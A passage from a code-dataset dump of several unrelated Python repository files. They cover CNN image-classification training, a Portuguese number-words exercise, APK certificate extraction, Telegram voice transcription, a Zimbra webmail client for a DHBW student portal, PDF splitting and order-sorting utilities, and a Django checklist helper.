fo)\r\nfo.close()\r\n\r\nprint(labels)\r\nprint(li.shape)\r\n'''\r\n\r\n\r\n\r\ngpus = tf.config.list_physical_devices('GPU')\r\nif gpus:\r\n # Restrict TensorFlow to only allocate 1GB of memory on the first GPU\r\n try:\r\n tf.config.set_logical_device_configuration(gpus[0],[tf.config.LogicalDeviceConfiguration(memory_limit=4500)])\r\n logical_gpus = tf.config.list_logical_devices('GPU')\r\n print(len(gpus), \"Physical GPUs,\", len(logical_gpus), \"Logical GPUs\")\r\n except RuntimeError as e:\r\n # Virtual devices must be set before GPUs have been initialized\r\n print(e)\r\n\r\n#Loading pickle files\r\nfp = open('train.pkl', \"rb\")\r\ntrain_features = pickle.load(fp)\r\nfp.close()\r\n\r\nfp = open('TrainClassLabels.pkl', \"rb\")\r\ntrain_cls_labels = pickle.load(fp)\r\nfp.close()\r\n\r\nfp = open('test.pkl', \"rb\")\r\ntest_features = pickle.load(fp)\r\nfp.close()\r\n\r\nfp = open('TestClassLabels.pkl', \"rb\")\r\ntest_cls_labels = pickle.load(fp)\r\nfp.close()\r\n\r\n#Normalizng data\r\nX_train = train_features/255\r\nX_test = test_features/255\r\nY_train = train_cls_labels\r\nY_test = test_cls_labels\r\nX_train, Y_train = shuffle(X_train, Y_train)\r\nX_test, Y_test = shuffle(X_test, Y_test)\r\nprint(X_train.shape, X_test.shape)\r\nprint(Y_train.shape, Y_test.shape)\r\n\r\n#Training of CNN model\r\nmodel = Sequential()\r\nmodel.add(Conv2D(32, kernel_size=(3, 3), activation='relu', input_shape=(224, 224, 3)))\r\nmodel.add(MaxPool2D(pool_size=(2, 2)))\r\nmodel.add(Flatten())\r\nmodel.add(Dense(100, activation='relu'))\r\nmodel.add(Dense(5, activation='softmax'))\r\n\r\nmodel.compile(loss='sparse_categorical_crossentropy',optimizer=RMSprop(learning_rate=0.01),metrics=['accuracy'])\r\nmodel.fit(X_train,Y_train,epochs=10,validation_data=(X_test,Y_test))\r\nmodel.save('model.h5')\r\n\r\n#Checking accuracy\r\nY_pred = model.predict(X_test)\r\nY_pred = np.argmax(Y_pred,axis=1)\r\nacc = accuracy_score(Y_test, Y_pred)\r\nprint('testing accuracy: ',acc)\r\n'''","repo_name":"RajPanjwani-2001/Plant-Classification","sub_path":"Codes/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":3848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"42074343385","text":"#Crie um programa que tenha uma tupla totalmente preenchida com uma contagem por extenso, de zero até vinte. Seu programa deverá ler um número pelo teclado (entre 0 e 20) e mostrá-lo por extenso\n\nextenso = ('Zero', 'Um', 'Dois', 'Tres', 'Quatro', 'Cinco', 'Seis', 'Sete', 'Oito', 'Nove', 'Dez', 'Onze', 'Doze', 'Treze', 'Quatorze', 'Quinze', 'Dezesseis', 'Dezessete','Dezoito', 'Dezenove', 'Vinte')\nwhile True:\n num = int(-1)\n while num not in range(0,len(extenso)):\n num = int(input('Digite um número de 0 a 20 para saber seus nome por extenso:\\n>>> '))\n \n print(f'O número {num} por extenso é: {extenso[num]}')\n \n answer = str(input('Deseja saber outro número? [S/N]\\n>>> '))[0]\n if answer in 'nN':\n break","repo_name":"LeonardoSextare/Curso-Python","sub_path":"Curso em Video - Guanabara/Mundo 3/!Exercicios/ex072 - Numero por Extenso.py","file_name":"ex072 - Numero por Extenso.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"25402384958","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nExtract certificate stored in the APK as PEM\n\"\"\"\n\n\nimport sys\nimport argparse\nfrom apk_parse.apk import APK\n\n\ndef main():\n # Parse command line arguments\n parser = argparse.ArgumentParser(description='Extracts PEM certificates from APK files')\n parser.add_argument('files', nargs=argparse.ZERO_OR_MORE, default=[], help='APK files')\n parser.add_argument('-t', dest='text', default=False, action='store_const', const=True,\n help='show also text representation')\n args = parser.parse_args()\n\n for file_name in args.files:\n apkf = APK(file_name)\n if args.text:\n print(apkf.cert_text)\n\n pem = apkf.cert_pem\n print(pem)\n\n\nif __name__ == \"__main__\":\n main()\n\n\n","repo_name":"ph4r05/codesign-analysis","sub_path":"codesign/android/apk2cert.py","file_name":"apk2cert.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"40310655475","text":"import uuid\nimport os\nimport speech_recognition as sr\nfrom pydub import AudioSegment\nimport tempfile\n\n\ndef decorator_remove_file(func):\n def wrapper(*args, **kwargs):\n rez = func(*args, **kwargs)\n try:\n os.remove('voice_message.ogg')\n os.remove('voice_message.wav')\n except:\n pass\n return rez\n return wrapper\n#\ndef convert_ogg_wav(file):\n wfn = file.replace('.ogg', '.wav')\n x = AudioSegment.from_file(file)\n x.export(wfn, format='wav')\n\n\nlanguage='ru_RU'\n\n\n@decorator_remove_file\ndef audio_to_text(file):\n r = sr.Recognizer()\n with sr.AudioFile(file) as source:\n audio = r.record(source)\n text = r.recognize_google(audio_data=audio, language=language)\n return text\n\n\n\ndef convert_and_recognize(file_path):\n # Создаем временный файл, который будет автоматически удаляться после закрытия\n with tempfile.NamedTemporaryFile(delete=True) as temp_wav:\n audio = AudioSegment.from_ogg(file_path)\n audio.export(temp_wav.name, format=\"wav\") # Экспортируем аудио в wav-формате во временный файл\n\n recognizer = sr.Recognizer()\n with sr.AudioFile(temp_wav.name) as source:\n # Записываем аудио из файла\n audio_file = recognizer.record(source)\n # Применяем распознавание речи с помощью Google Speech Recognition\n try:\n result = recognizer.recognize_google(audio_file, language='ru-RU')\n print('Распознан текст:', result)\n return result\n except sr.UnknownValueError:\n print(\"Google Speech Recognition не смог понять аудио\")\n except sr.RequestError:\n print(\"Could not request results from Google Speech Recognition service\")\n\n\nasync def dewnload_and_converted_audio_text(event):\n if event.message.voice:\n # Получаем голосовое сообщение\n voice_message = await event.message.download_media()\n\n # Создаем временный файл, который будет автоматически удаляться после закрытия\n with tempfile.NamedTemporaryFile(delete=True) as temp_ogg:\n # Копируем голосовое сообщение во временный файл\n with open(voice_message, 'rb') as file:\n temp_ogg.write(file.read())\n\n # Преобразуем и распознаем речь\n text = convert_and_recognize(temp_ogg.name)\n return f'👺 Voice\\n{text}'\n\nasync def esli_voice_to_text_ili_text_text(event):\n return f'💥🔊💭 {await dewnload_and_converted_audio_text(event)}\\n{event.message.message}' if event.message.voice else event.message.message\n # if event.message.voice:#если сообщение голосовое\n # text =f'💥🔊💭 {await dewnload_and_converted_audio_text(event)}'\n # else:\n # text = event.message.message # достаем только текст сообщени","repo_name":"nasket-it/sanchos","sub_path":"audio_text.py","file_name":"audio_text.py","file_ext":"py","file_size_in_byte":3250,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"38685876642","text":"# -*- coding: utf-8 -*-\n\n\"\"\"the zimbra module provides an interface to interact with zimbra\n\"\"\"\n\nimport re\nimport json\n\nfrom bs4 import BeautifulSoup\n\nfrom dhbw.util import ImporterSession, reqget, reqpost, url_get_fqdn\nfrom dhbw.util import ServiceUnavailableException, LoginRequiredException\n\n#------------------------------------------------------------------------------#\n# H E L P E R - F U N C T I O N S\n#------------------------------------------------------------------------------#\n\ndef _entity_list(in_list, out_list, in_type):\n \"\"\"Adds entities to a list while converting an entity string to a dict.\n\n Parameters\n ----------\n in_list : List[str]\n Description\n out_list : List[Dict[str, str]]\n Description\n in_type : str\n Description\n Returns\n -------\n List[Dict[str, str]]\n\n \"\"\"\n\n if in_type == \"recipient\":\n temp = \"t\"\n elif in_type == \"cc\":\n temp = \"c\"\n else:\n temp = \"b\"\n\n for account in in_list:\n temp_dict = {}\n temp_dict[\"t\"] = temp\n temp_dict[\"a\"] = account\n out_list.insert(0, temp_dict)\n\n return out_list\n\n\ndef _fill_contacts_dict_elem(contact):\n \"\"\"Checks for existing keys inside the response contact dict and creates contact dict.\n\n Parameters\n ----------\n contact : Dict[str, str]\n\n Returns\n -------\n Dict\n\n \"\"\"\n temp = {}\n if \"email\" in contact.keys():\n temp[\"email\"] = contact[\"email\"]\n temp[\"id\"] = contact[\"id\"]\n temp[\"firstName\"] = None\n temp[\"lastName\"] = None\n temp[\"jobTitle\"] = None\n if \"firstName\" in contact.keys():\n temp[\"firstName\"] = contact[\"firstName\"]\n if \"lastName\" in contact.keys():\n temp[\"lastName\"] = contact[\"lastName\"]\n if \"jobTitle\" in contact.keys():\n temp[\"jobTitle\"] = contact[\"jobTitle\"]\n\n return temp\n\n#------------------------------------------------------------------------------#\n# Z I M B R A - H A N D L E R\n#------------------------------------------------------------------------------#\n\nclass ZimbraHandler(ImporterSession):\n \"\"\"Handler for interacting with zimbra.\n\n Attributes\n ----------\n url : str\n the given url for zimbra\n accountname : str\n the dhbw mail account\n contacts : List[Dict[str, str]]\n a list representing all contacts from zimbra\n realname : str\n the real name of the logged in user\n signatures : List[str]\n a list of all available signatures to the user\n\n Methods\n -------\n login(self): None\n creates a session for the user\n logout(self): None\n sends a logout request\n scrape(self): None\n scrape the wanted data from the website\n get_contacts(self): None\n import contacts from the default \"contact\" book\n new_contact(self, contact_dict): None\n create a new contact inside the default contact book\n remove_contact(self, contact_id): None\n remove an existing contact from the default contact book\n _create_entities_list(self, recipients, rec_cc, rec_bcc): List[Dict[str, str]]\n create a list with dictionary elements\n _generate_mail(self, mail_dict): Dict[str, Any]\n build the mail in the needed format for zimbra\n send_mail(self, mail_dict): None\n sends a mail to the soap backend of zimbra\n \"\"\"\n\n url = \"https://studgate.dhbw-mannheim.de/zimbra/\"\n\n __slots__ = (\"accountname\", \"contacts\", \"realname\", \"signatures\",)\n\n def __init__(self):\n super().__init__()\n self.accountname = \"\"\n self.contacts = []\n self.headers[\"Host\"] = url_get_fqdn(ZimbraHandler.url)\n self.realname = \"\"\n self.signatures = []\n\n async def login(self, username, password):\n \"\"\"Authenticate the user against zimbra.\n\n Parameters\n ----------\n username: str\n the username for the authentication process\n password: str\n the password for the authentication process\n\n Returns\n -------\n ZimbraHandler\n \"\"\"\n url = ZimbraHandler.url\n\n # add accountname\n self.accountname = username\n\n # set headers for post request\n self.headers[\"Content-Type\"] = \"application/x-www-form-urlencoded\"\n self.headers[\"Cookie\"] = \"ZM_TEST=true\"\n\n # form data\n payload = {\n \"client\": \"preferred\",\n \"loginOp\": \"login\",\n \"username\": username,\n \"password\": password\n }\n\n # LOGIN - POST REQUEST\n try:\n r_login = reqpost(\n url=url,\n headers=self.headers,\n payload=payload,\n allow_redirects=False,\n return_code=302\n )\n except ServiceUnavailableException as service_err:\n raise service_err\n finally:\n # drop content-type header\n self.drop_header(\"Content-Type\")\n\n # add authentication cookie to the headers\n self.auth_token = r_login.headers[\"Set-Cookie\"].split(\";\")[0]\n self.headers[\"Cookie\"] = self.headers[\"Cookie\"] + \"; \" + self.auth_token\n\n return self\n\n async def scrape(self):\n # TODO documentation?\n \"\"\"Scrape the selected data from zimbra.\n\n Returns\n -------\n None\n \"\"\"\n url = ZimbraHandler.url\n\n try:\n r_home = reqget(\n url=url,\n headers=self.headers,\n )\n except ServiceUnavailableException as service_err:\n raise service_err\n\n content_home = BeautifulSoup(r_home.text, \"lxml\")\n\n # improvement idea -> let it loop reversed, since needed content\n # is inside the last / one of the last script tag(s)\n try:\n tag_script_all = content_home.find_all(\"script\")\n except AttributeError as attr_err:\n raise LoginRequiredException() from attr_err\n\n for tag_script in tag_script_all:\n if \"var batchInfoResponse\" in str(tag_script.string):\n temp = re.search(\n r\"var\\ batchInfoResponse\\ =\\ \\{\\\"Header\\\":.*\\\"_jsns\\\":\\\"urn:zimbraSoap\\\"\\};\",\n str(tag_script.string)\n )\n break\n temp_json = json.loads(\n re.sub(r\"(var\\ batchInfoResponse\\ =\\ )|(;$)\", \"\", temp.group(0))\n )\n\n self.realname = temp_json[\"Body\"][\"BatchResponse\"][\"GetInfoResponse\"][0][\"attrs\"][\"_attrs\"][\"cn\"]\n\n self.scraped_data = temp_json\n\n def get_contacts(self):\n \"\"\"Import contacts from the default contact book.\n\n Returns\n -------\n None\n \"\"\"\n url = ZimbraHandler.url\n origin = \"https://\" + url_get_fqdn(url)\n\n self.headers[\"Content-Type\"] = \"application/soap+xml; charset=utf-8\"\n self.headers[\"Referer\"] = url\n self.headers[\"Origin\"] = origin\n\n # TODO query is limited to 100 contact entities --> query all contact entities\n\n query = {\n \"Header\": {\n \"context\": {\n \"_jsns\": \"urn:zimbra\",\n \"account\": {\n \"_content\": self.accountname,\n \"by\": \"name\"\n }\n }\n },\n \"Body\": {\n \"SearchRequest\": {\n \"_jsns\": \"urn:zimbraMail\",\n \"sortBy\": \"nameAsc\",\n \"offset\": 0,\n \"limit\": 100,\n \"query\": \"in:contacts\",\n \"types\": \"contact\"\n }\n }\n }\n\n try:\n r_contacts = reqpost(\n url=origin + \"/service/soap/SearchRequest\",\n headers=self.headers,\n payload=json.dumps(query)\n ).json()\n except ServiceUnavailableException as service_err:\n raise service_err\n finally:\n self.drop_header(\"Content-Type\")\n\n try:\n contacts = r_contacts[\"Body\"][\"SearchResponse\"][\"cn\"]\n except KeyError:\n contacts = []\n\n for contact in contacts:\n cnt = contact[\"_attrs\"]\n cnt[\"id\"] = contact[\"id\"]\n temp = _fill_contacts_dict_elem(cnt)\n if temp:\n self.contacts.append(temp)\n\n def new_contact(self, contact_dict):\n \"\"\"Create a new contact inside the default contact book.\n\n Parameters\n ----------\n contact_dict : Dict\n\n Returns\n -------\n None\n \"\"\"\n url = ZimbraHandler.url\n origin = \"https://\" + url_get_fqdn(url)\n\n self.headers[\"Content-Type\"] = \"application/soap+xml; charset=utf-8\"\n self.headers[\"Referer\"] = url\n self.headers[\"Origin\"] = origin\n\n contact_details = []\n for key, value in contact_dict.items():\n if value:\n contact_details.append(\n {\n \"n\": key,\n \"_content\": value\n }\n )\n\n contact = {\n \"Header\": {\n \"context\": {\n \"_jsns\": \"urn:zimbra\",\n \"account\": {\n \"_content\": self.accountname,\n \"by\": \"name\"\n },\n \"auth_token\": self.auth_token\n }\n },\n \"Body\": {\n \"CreateContactRequest\": {\n \"_jsns\": \"urn:zimbraMail\",\n \"cn\": {\n \"l\": \"7\",\n \"a\": contact_details\n }\n }\n }\n }\n\n try:\n r_contact = reqpost(\n url=origin + \"/service/soap/CreateContactRequest\",\n headers=self.headers,\n payload=json.dumps(contact),\n ).json()\n except ServiceUnavailableException as service_err:\n raise service_err\n finally:\n self.drop_header(\"Content-Type\")\n\n try:\n contact_dict[\"id\"] = r_contact[\"Body\"][\"CreateContactResponse\"][\"cn\"][0][\"id\"]\n except AttributeError as attr_err:\n raise LoginRequiredException() from attr_err\n\n self.contacts.append(contact_dict)\n\n def remove_contact(self, contact_id):\n \"\"\"remove an existing contact from the default contact book\n\n Parameters\n ----------\n contact_id : str\n\n \"\"\"\n url = ZimbraHandler.url\n origin = \"https://\" + url_get_fqdn(url)\n\n self.headers[\"Content-Type\"] = \"application/soap+xml; charset=utf-8\"\n self.headers[\"Referer\"] = url\n self.headers[\"Origin\"] = origin\n\n del_contact = {\n \"Header\": {\n \"context\": {\n \"_jsns\": \"urn:zimbra\",\n \"account\": {\n \"_content\": self.accountname,\n \"by\": \"name\"\n },\n \"auth_token\": self.auth_token\n }\n },\n \"Body\": {\n \"ContactActionRequest\": {\n \"_jsns\": \"urn:zimbraMail\",\n \"action\": {\n \"id\": contact_id,\n \"l\": \"3\",\n \"op\": \"move\"\n }\n }\n }\n }\n\n try:\n reqpost(\n url=origin + \"/service/soap/ContactActionRequest\",\n headers=self.headers,\n payload=json.dumps(del_contact)\n )\n except ServiceUnavailableException as service_err:\n raise service_err\n finally:\n self.drop_header(\"Content-Type\")\n\n i = 0\n while i < len(self.contacts):\n if self.contacts[i][\"id\"] == contact_id:\n break\n i += 1\n\n del self.contacts[i]\n\n def _create_entities_list(self, recipients, rec_cc, rec_bcc):\n \"\"\"Create a list with dictionary elements.\n\n Parameters\n ----------\n recipients : List[str]\n\n rec_cc : List[str]\n\n rec_bcc : List[str]\n\n\n Returns\n -------\n List[Dict[str, str]]\n \"\"\"\n entities_list = [\n {\n \"t\": \"f\",\n \"a\": self.accountname,\n \"p\": self.realname\n }\n ]\n\n entities_list = _entity_list(rec_bcc, entities_list, \"bcc\")\n entities_list = _entity_list(rec_cc, entities_list, \"cc\")\n entities_list = _entity_list(recipients, entities_list, \"recipient\")\n\n return entities_list\n\n def _generate_mail(self, mail_dict):\n \"\"\"build the mail in the needed format for zimbra\n\n Parameters\n ----------\n mail_dict : Dict\n\n Returns\n -------\n Dict[str, Any]\n \"\"\"\n header_dict = {\n \"context\": {\n \"_jsns\": \"urn:zimbra\",\n \"account\": {\n \"_content\": self.accountname,\n \"by\": \"name\"\n },\n \"auth_token\": self.auth_token\n }\n }\n\n entities = self._create_entities_list(\n mail_dict[\"recipients\"],\n mail_dict[\"rec_cc\"],\n mail_dict[\"rec_bcc\"]\n )\n\n message_dict = {\n \"_jsns\": \"urn:zimbraMail\",\n \"m\": {\n \"e\": entities,\n \"su\": {\n \"_content\": mail_dict[\"subject\"]\n },\n \"mp\": {\n \"ct\": mail_dict[\"cttype\"],\n \"content\": {\n \"_content\": mail_dict[\"content\"]\n }\n }\n }\n }\n\n # join the dicts to create the whole mail\n mail = {\n \"Header\": header_dict,\n \"Body\": {\n \"SendMsgRequest\": message_dict\n }\n }\n\n return mail\n\n def send_mail(self, mail_dict):\n \"\"\"Sends a mail to the soap backend of zimbra.\n\n Parameters\n ----------\n mail_dict: SendMailDict\n a dictionary containing recipients, subject, content-type and the actual content\n\n Returns\n -------\n None\n \"\"\"\n # create mail\n mail = self._generate_mail(mail_dict)\n\n # IMPROVEMENT IDEA:\n # store mail_dict somewhere, in case that the service is unavailable\n\n url = ZimbraHandler.url\n origin = \"https://\" + url_get_fqdn(url)\n\n self.headers[\"Content-Type\"] = \"application/soap+xml; charset=utf-8\"\n self.headers[\"Referer\"] = url\n self.headers[\"Origin\"] = origin\n\n try:\n reqpost(\n url=origin + \"/service/soap/SendMsgRequest\",\n headers=self.headers,\n payload=json.dumps(mail),\n return_code=200\n )\n except ServiceUnavailableException as service_err:\n raise service_err\n finally:\n self.drop_header(\"Content-Type\")\n\n def logout(self):\n \"\"\"sends a logout request\n\n Returns\n -------\n None\n \"\"\"\n url = ZimbraHandler.url\n\n try:\n reqget(\n url=url,\n headers=self.headers,\n params={\"loginOp\": \"logout\"},\n return_code=200\n )\n except ServiceUnavailableException as service_err:\n raise service_err\n\n self.auth_token = \"\"\n","repo_name":"Software-Engineering-DHBW/BonoboBoard","sub_path":"bonobo-board/modules/dhbw/zimbra.py","file_name":"zimbra.py","file_ext":"py","file_size_in_byte":15644,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"82"}
+{"seq_id":"34336940367","text":"from pdfminer3.pdfpage import PDFPage\nfrom pdfminer3.pdfinterp import PDFResourceManager\nfrom pdfminer3.pdfinterp import PDFPageInterpreter\nfrom pdfminer3.converter import TextConverter\nimport io\nimport os\nimport shutil\nfrom PyPDF2 import PdfFileMerger\nfrom PyPDF2 import PdfFileReader, PdfFileWriter\n\n\ndef scan_folder(parent, keyword):\n lista = []\n # iterate over all the files in directory 'parent'\n for file_name in os.listdir(parent):\n resource_manager = PDFResourceManager()\n handle = io.StringIO()\n converter = TextConverter(resource_manager, handle)\n page_interpreter = PDFPageInterpreter(resource_manager, converter)\n if file_name.endswith(\".pdf\"):\n # if it's a txt file, print its name (or do whatever you want)\n arquivo = open(parent + \"/\" + file_name, 'rb')\n with arquivo as fh:\n\n for page in PDFPage.get_pages(fh,\n caching=True,\n check_extractable=True):\n page_interpreter.process_page(page)\n text = handle.getvalue()\n if (text.find(keyword) != -1):\n # print(file_name + \" TEEM\")\n lista.append(parent + \"/\" + file_name)\n # else:\n # print(file_name + \" NAOOOO\")\n converter.close()\n handle.close()\n else:\n current_path = \"\".join((parent, \"/\", file_name))\n if os.path.isdir(current_path):\n # if we're checking a sub-directory, recall this method\n scan_folder(current_path)\n return lista\n\n\ndef merger(output_path, input_paths):\n pdf_merger = PdfFileMerger()\n file_handles = []\n\n for path in input_paths:\n pdf_merger.append(path)\n\n with open(output_path, 'wb') as fileobj:\n pdf_merger.write(fileobj)\n\n\ndef searchPDF(parent, keyword):\n lista = []\n # iterate over all the files in directory 'parent'\n for file_name in parent:\n resource_manager = PDFResourceManager()\n handle = io.StringIO()\n converter = TextConverter(resource_manager, handle)\n page_interpreter = PDFPageInterpreter(resource_manager, converter)\n arquivo = open(file_name, 'rb')\n with arquivo as fh:\n for page in PDFPage.get_pages(fh, caching=True, check_extractable=True):\n page_interpreter.process_page(page)\n text = handle.getvalue()\n if (text.find(keyword) != -1):\n # print(file_name + \" TEEM\")\n lista.append(file_name)\n # else:\n # print(\"NAO\")\n converter.close()\n handle.close()\n return lista\n\n\ndef splitter(path, output_folder):\n for x in path:\n fname = os.path.splitext(os.path.basename(x))[0]\n pdf = PdfFileReader(x)\n for page in range(pdf.getNumPages()):\n pdf_writer = PdfFileWriter()\n pdf_writer.addPage(pdf.getPage(page))\n pages = page + 1\n if page >= 99:\n pagename = str(pages)\n elif page >= 9:\n pagename = \"0\" + str(pages)\n else:\n pagename = \"00\" + str(pages)\n output_filename = output_folder + '/{}_page_{}.pdf'.format(\n fname, pagename)\n with open(output_filename, 'wb') as out:\n pdf_writer.write(out)\n # print('Created: {}'.format(output_filename))\n\n\ndef splitterCustom(path, output_folder, doublepageslist,originalfile):\n for x in path:\n fname = os.path.splitext(os.path.basename(x))[0]\n pdf = PdfFileReader(x)\n print(x)\n filenumber = find_between(x, \"_file_\", \".pdf\")\n if filenumber not in originalfile:\n doublepageslist2 = []\n else:\n doublepageslist2 = doublepageslist\n b = True\n for page in range(pdf.getNumPages()):\n pagenamemerged = str(page + 1) + \";\" + filenumber\n print(pagenamemerged)\n pdf_writer = PdfFileWriter()\n if b:\n if pagenamemerged not in doublepageslist2:\n pdf_writer.addPage(pdf.getPage(page))\n pages = page + 1\n if page >= 99:\n pagename = str(pages)\n elif page >= 9:\n pagename = \"0\" + str(pages)\n else:\n pagename = \"00\" + str(pages)\n output_filename = output_folder + '/{}_page_{}.pdf'.format(fname, pagename)\n with open(output_filename, 'wb') as out:\n pdf_writer.write(out)\n # print('Created: {}'.format(output_filename))\n b = True\n else:\n pdf_writer.addPage(pdf.getPage(page))\n pdf_writer.addPage(pdf.getPage(page + 1))\n pages = page + 1\n if page >= 99:\n pagename = str(pages)\n elif page >= 9:\n pagename = \"0\" + str(pages)\n else:\n pagename = \"00\" + str(pages)\n output_filename = output_folder + '/{}_page_{}.pdf'.format(\n fname, pagename)\n with open(output_filename, 'wb') as out:\n pdf_writer.write(out)\n # print('Created: {}'.format(output_filename))\n b = False\n else:\n b = True\n\n\ndef splitterNew(path, output_folder):\n for x in path:\n name = os.path.splitext(os.path.basename(x))[0]\n print(*name)\n pdf = PdfFileReader(x)\n for page in range(pdf.getNumPages()):\n pdf_writer = PdfFileWriter()\n pdf_writer.addPage(pdf.getPage(page))\n output_filename = output_folder + '/{}_{}.pdf'.format(\n page + 1, name)\n with open(output_filename, 'wb') as out:\n pdf_writer.write(out)\n # print('Created: {}'.format(output_filename))\n\n\ndef list_files_mac(dir):\n names = []\n for root, dirs, files in os.walk(dir):\n for file in files:\n if file.endswith('.pdf'):\n names.append(dir + \"/\" + file)\n return names\n\n\ndef list_files_win(dir):\n names = []\n for root, dirs, files in os.walk(dir):\n for file in files:\n if file.endswith('.pdf'):\n names.append(dir + \"/\" + file)\n return names\n\n\ndef list_files_walk(directory):\n fu = [os.path.join(dp, f) for dp, dn, filenames in os.walk(directory) for f in filenames if\n os.path.splitext(f)[1].lower() == '.pdf']\n return (fu)\n\n\ndef newScan(parent):\n lista = []\n f = open(\"designs.txt\", \"w+\")\n g = open(\"paths.txt\", \"w+\")\n # iterate over all the files in directory 'parent'\n for file_name in parent:\n resource_manager = PDFResourceManager()\n handle = io.StringIO()\n converter = TextConverter(resource_manager, handle)\n page_interpreter = PDFPageInterpreter(resource_manager, converter)\n arquivo = open(file_name, 'rb')\n with arquivo as fh:\n for page in PDFPage.get_pages(fh, caching=True, check_extractable=True):\n page_interpreter.process_page(page)\n text = handle.getvalue()\n word = find_between(text, \"SKUPrice1\", \"$\")\n print(word)\n # number = has_sequence(word)\n # stringnumber = ''.join(map(str, number))\n # artwork = find_between(word,\"1\",stringnumber)\n\n f.write(word + \"\\n\")\n g.write(file_name + \"\\n\")\n converter.close()\n handle.close()\n f.close()\n g.close()\n return lista\n\n\ndef scanDoublePages(parent, galleryprices, dailyprices):\n daily = open(\"daily.txt\", \"w+\")\n gal = open(\"gallery.txt\", \"w+\")\n sweet = open(\"sweet.txt\", \"w+\")\n duplicatestest = open(\"duplicatestest.txt\", \"w+\")\n number = 0\n numberlist = []\n originalfile = []\n folder = \"temp\"\n cleanFolder(folder)\n # listing the files inside the folder\n parentnew = list_files_walk(parent)\n # creating a temporary folder\n os.mkdir(folder)\n # splitting the temporary files\n splitter(parentnew, folder)\n # getting the temporary files\n parentnew2 = list_files_walk(folder)\n # sorting the files by name\n parentnew2.sort()\n # iterate over all the files in directory 'parent'\n for file_name in parentnew2:\n resource_manager = PDFResourceManager()\n handle = io.StringIO()\n converter = TextConverter(resource_manager, handle)\n page_interpreter = PDFPageInterpreter(resource_manager, converter)\n arquivo = open(file_name, 'rb')\n if \"page_001.pdf\" in file_name:\n number = 0\n with arquivo as fh:\n for page in PDFPage.get_pages(fh, caching=True, check_extractable=True):\n booleangal = True\n booleanSweet = True\n page_interpreter.process_page(page)\n text = handle.getvalue()\n text = text[:-1]\n text = text + \"¬¬¬\"\n #print(text)\n # searching the reference number\n search = find_between(text, \"#\", \"Order\")\n # searching the order number\n search2 = find_between(text, \"# \", \"Order Date\")\n # Searching the design name\n name = find_between(text, \"SKUPrice1\", \"$\")\n # Prices\n price = find_between(text, name, \",\")\n # Products\n products = find_between(text, \"SKUPrice1\", \"¬¬¬\")\n #print(products)\n originalfilenumber = find_between(file_name, \"_file_\", \"_page\")\n print(originalfilenumber)\n if search == \"\":\n numberlist.append(str(number) + \";\" + originalfilenumber)\n originalfile.append(originalfilenumber)\n # print(result[number-1])\n # f.write(result[number - 1] + \"\\n\")\n else:\n duplicatestest.write(search2 + \"\\n\")\n for daprices in dailyprices:\n if products.find(daprices) != -1:\n print(search2 + \" Daily Shirt\")\n booleangal = False\n daily.write(name + \"^\" + file_name + \"^\" + search2 + \"\\n\")\n break\n if booleangal:\n for gaprices in galleryprices:\n if products.find(gaprices) != -1:\n print(search2 + \" Gallery Shirt\")\n gal.write(name + \"^\" + file_name + \"^\" + search2 + \"\\n\")\n booleanSweet = False\n break\n if booleanSweet:\n sweet.write(name + \"^\" + file_name + \"^\" + search2 + \"\\n\")\n print(search2 + \" Sweet Deal\")\n number = number + 1\n converter.close()\n handle.close()\n daily.close()\n gal.close()\n duplicatestest.close()\n sweet.close()\n cleanFolder(folder)\n print(originalfile)\n print(\"Files with double pages: \")\n print(numberlist)\n os.mkdir(folder)\n splitterCustom(parentnew, folder, numberlist,originalfile)\n\n\ndef find_between(s, first, last):\n try:\n start = s.index(first) + len(first)\n end = s.index(last, start)\n return s[start:end]\n except ValueError:\n return \"\"\n\n\ndef has_sequence(s):\n val = []\n number = []\n length = len(s)\n for x in range(length):\n try:\n prov = int(s[x])\n val.append(prov)\n\n except ValueError:\n val.append(\"%\")\n\n for x in range(length):\n if val[x] == \"%\":\n 1\n else:\n if val[x + 1] == \"%\":\n 1\n else:\n number.append(val[x])\n return number\n\n\ndef sortFiles(file_name):\n f = open(file_name + \".txt\", \"r\")\n contents = f.readlines()\n contents.sort()\n with open(file_name + \"_sorted.txt\", \"w+\") as g:\n for item in contents:\n g.write(item)\n f.close()\n g.close()\n\n\ndef cleanFolder(path):\n if os.path.exists(path):\n shutil.rmtree(path)\n\ndef checkIfDuplicates(listOfElems):\n for elem in listOfElems:\n if listOfElems.count(elem) > 1:\n return True\n return False","repo_name":"williamzu/PDF_Miner","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":12733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"1999871848","text":"# -*- coding: utf-8 -*-\nfrom .models import Item\nfrom django.utils import timezone\nfrom django.db.models import Q\nfrom django.core import serializers\nimport json\n\ndef create_item(name, checklist):\n\tnewItem = Item(name=name, checklist_id=checklist)\n\tnewItem.save()\n\tmapped_item = item_mapper(newItem)\n\treturn json.dumps(mapped_item)\n\ndef get_all_items():\n\tstartdate = timezone.now() - timezone.timedelta(hours=1)\n\tenddate = timezone.now()\n\tall_items = Item.objects.filter(Q(endtime__range=[startdate, enddate]) | Q(endtime=None))\n\tall_items_orderd = all_items.order_by('createdtime')\n\tall_items_serialized = serializers.serialize('json', all_items_orderd)\n\treturn all_items_serialized\n\ndef get_all_items_by_checklist_id(checklist_id):\n\tstartdate = timezone.now() - timezone.timedelta(hours=1)\n\tenddate = timezone.now()\n\tall_items = Item.objects.filter(Q(\n\t\t\tQ(checklist_id=float(checklist_id))\n\t\t\t& Q(\n\t\t\t\tQ(endtime__range=[startdate, enddate]) | Q(endtime=None))\n\t\t\t)\n\t)\n\tall_items_orderd = all_items.order_by('createdtime')\n\tall_items_orderd = all_items_orderd.order_by('done')\n\tmappedItemList = []\n\tfor item in all_items_orderd:\n\t\tmappedItem = item_mapper(item)\n\t\tmappedItemList.append(mappedItem)\n\tall_items_json = 